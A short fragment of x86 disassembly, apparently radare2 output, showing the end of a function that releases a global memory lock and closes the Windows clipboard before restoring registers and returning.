mov dword [esp + 8], eax
call fcn.0040d690
mov bl, al
and bl, 1
sub esp, 4
mov dword [esp], esi
call fcn.0040cbd0
add esp, 4
jmp 0x436ea4
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x436eb5
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x436ebd
and bl, 1
movzx eax, bl
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret